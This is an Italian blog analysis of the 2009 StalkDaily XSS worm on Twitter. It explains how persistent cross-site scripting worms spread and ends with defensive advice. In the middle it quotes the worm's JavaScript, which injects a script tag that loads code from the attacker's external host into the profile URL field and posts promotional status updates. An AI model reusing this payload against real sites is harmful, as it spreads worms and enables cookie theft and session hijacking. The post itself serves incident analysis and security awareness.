Mentre buona parte dell’Occidente faceva indigestione di uova di cioccolato, un XSS worm ha preso di mira il sito più cinguettante del mondo: Twitter.
Nel weekend appena trascorso, infatti, un 17enne della Louisiana, Michael Mooney, ha rilasciato un primo web worm (nel senso che attacca i web users, non i web server), di sabato mattina, che inseriva nei profili degli utenti Twitter attaccati messaggi che incoraggiavano a visitare StalkDaily.com, sito gestito dal ragazzo, con frasi come “Virus!? What? www.StalkDaily.com is legit!”.
Il giovane ha peraltro affermato: “ho creato il worm per dare agli sviluppatori una visione del problema e al contempo promuovere me o il mio sito”. Un animo nobile, in tono pasquale, s’intuisce…
Nella sera di sabato Twitter ha comunicato di aver ripulito gli account infetti e di aver rimosso tutto il codice che avrebbe consentito al worm di propagarsi ulteriormente.
Purtroppo, poche ore dopo, la domenica, un altro worm, sempre a opera di Mooney e molto simile al primo, ha fatto la sua apparizione.
Twitter ha affermato di aver affrontato quattro ondate del worm in tutto. Ha inoltre precisato che nessuna password o informazione riservata è stata compromessa.
Quello su cui però molti si interrogano è il modo in cui è stato affrontato il worm. Infatti, almeno inizialmente, gli sviluppatori di Twitter si sono limitati a rilevare e bloccare l’attacco tramite signature invece di estirparlo alla radice stuccando la falla che lo consentiva.
E, si sa, le signature sono spesso molto facili da evadere, per questo una seconda variante del worm, con codice offuscato, è prontamente ricomparsa poche ore dopo che la prima era stata sconfitta.
Al momento non ho ancora la certezza che la vulnerabilità sia stata sistemata del tutto.
Giusto tre settimane fa era stata segnalata un’altra vulnerabilità in Twitter che avrebbe potuto consentire la diffusione di un worm web-based, fortunatamente non verificatasi, in quel caso.
Ma come funzionano questi worm un po’ insoliti?
Il primo worm web-based è stato Samy su MySpace nel 2005. Più di un milione di profili infettati in meno di 20 ore e numerose magliette con la scritta “Samy is my hero” stampate nei mesi e anni successivi. Per gli utenti nessun problema o rischio sostanziale, per MySpace qualche server in sovraccarico di troppo.
La quasi totalità dei worm web-based visti sin ora sfruttano la presenza, in un sito web, di vulnerabilità cross-site scripting (XSS) di tipo persistente per memorizzare del codice JavaScript più o meno malevolo nella pagina di un utente del portale. Qualora un altro utente visiti la pagina col codice malevolo sarà infettato a sua volta propagando ulteriormente il worm.
Nel caso specifico, come si evince da questo post di Damon Cortesi, il worm sfrutta una vulnerabilità XSS nella pagina degli Account’s Settings. Ecco un estratto del codice JavaScript del worm:
var update = urlencode("Hey everyone, join www.StalkDaily.com. It’s a site like Twitter but with pictures, videos, and so much more! :)");
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http:// mikeyylolz.uuuq.com/x.js"></script><a');
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
Lo status dell’utente infetto verrà quindi modificato inneggiando a StalkDaily e nel profilo verrà inserito in maniera persistente, grazie al parametro vulnerabile user[url],
il link ad un file x.js
recuperato da un dominio (non più attivo) di proprietà di Mooney e contente il codice del worm.
Qualora un altro utente visiti il profilo infetto, il codice del worm verrà eseguito ed egli stesso sarà attaccato.
Il codice del worm può essere visionato e analizzato, senza rischi, a questo indirizzo. E’ anche disponibile il codice offuscato del worm, per farsi un’idea di cosa significhi.
Al contrario di quanto detto su alcuni siti di news, questo worm non è totalmente innocuo poiché, come si evince da una semplice analisi del suo codice, cattura i cookies degli utenti infetti. Questo non è grave come avere la loro password ma permette comunque al creatore del worm, se lo desidera, di impersonare tranquillamente un utente per tutto il tempo in cui la sua sessione resta attiva.
È bene capire che in questo caso il worm non presenta un enorme pericolo, ma potenzialmente la possibilità far eseguire codice JavaScript arbitrario al browser dell’utente può avere conseguenze molto più serie come l’adesione dell’utente ad una botnet XSS-based. In poche ore, al 17enne, la vulnerabilità di Twitter avrebbe potuto fruttare una botnet di migliaia di host.
Negli ultimi anni si è parlato molto di sicurezza dei social network; un’ultima interessante analisi risale alla conferenza BlackHat della scorsa estate, dove due ricercatori, Shawn Moyer e Nathan Hamiel, hanno portato una presentazione dal significativo titolo: “Satan is on My Friends List: Attacking Social Networks”.
In questi casi, per gli utenti, le raccomandazioni sono sempre le stesse: tenere sempre la guardia alta e usare plugins come NoScript. Gli sviluppatori web, dal canto loro, dovrebbero seguire con cura le linee guida indicate da OWASP per la realizzazione sicura di applicazioni web.
Non è ammissibile che nel 2009 gli sviluppatori di un sito di importanza mondiale come Twitter creino delle vulnerabilità di cross-site scripting così semplici.